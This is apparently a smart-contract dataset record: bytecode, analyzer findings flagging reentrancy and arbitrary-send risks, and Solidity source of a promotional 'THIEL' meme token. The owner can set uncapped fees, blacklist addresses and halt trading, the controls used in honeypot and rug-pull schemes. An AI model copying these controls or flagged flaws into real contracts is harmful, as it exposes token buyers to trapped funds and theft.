92915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8398b09218b6573982801bf3b164b9a229bf2cba7e6d70b37a6f6cd2680086264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,858
0x7a462a6461dd68d70f188be53795734d1b7e15fb
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /** Peter Thiel believes in the power of Bitcoin Whether you believe in BTC or not, we are all part of the crypto family Governments can always issue money and make you poorer Crypto can help change all of this This is in honor of Peter Thiel, who will bring more eyes onto crypto And will help us all pump our bags */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract THIEL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "THIEL";///////// string private constant _symbol = "THIEL";///////// uint8 private constant _decimals = 9;/////////// mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5a77cc557aA9BD719ab8aE8C288b58B61Ae04f20); address payable private _marketingAddress = payable(0x5a77cc557aA9BD719ab8aE8C288b58B61Ae04f20); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c7565b005b34801561020a57600080fd5b506040805180820182526005815264151212515360da1b6020820152905161023291906119f2565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a47565b610666565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50683635c9adc5dea000005b604051908152602001610232565b3480156102d557600080fd5b5061025b6102e4366004611a73565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610232565b34801561032757600080fd5b5060155461028b906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab4565b6106e6565b34801561036757600080fd5b506101fc610376366004611ae1565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab4565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611afc565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab4565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028b565b34801561045257600080fd5b506101fc610461366004611ae1565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611afc565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b15565b610900565b3480156104c857600080fd5b5061025b6104d7366004611a47565b61093e565b3480156104e857600080fd5b5061025b6104f7366004611ab4565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b47565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611afc565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab4565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c04565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c65565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c04565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c04565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c04565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c04565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c39565b9050602002016020810190610a009190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c65565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c04565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c04565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c80565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f2565b5060006111ea8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611caf565b8160018151811061139857611398611c39565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e9086611701565b6001600160a01b03891660009081526002602052604090205561159081611760565b61159a84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061160e828261148b565b82101561162b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f191906119f2565b5060006111ea8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f611468565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170e8385611c80565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b600061176a611468565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148b565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610677565b600061188e8385611d5f565b90508261189b8583611d3d565b146112aa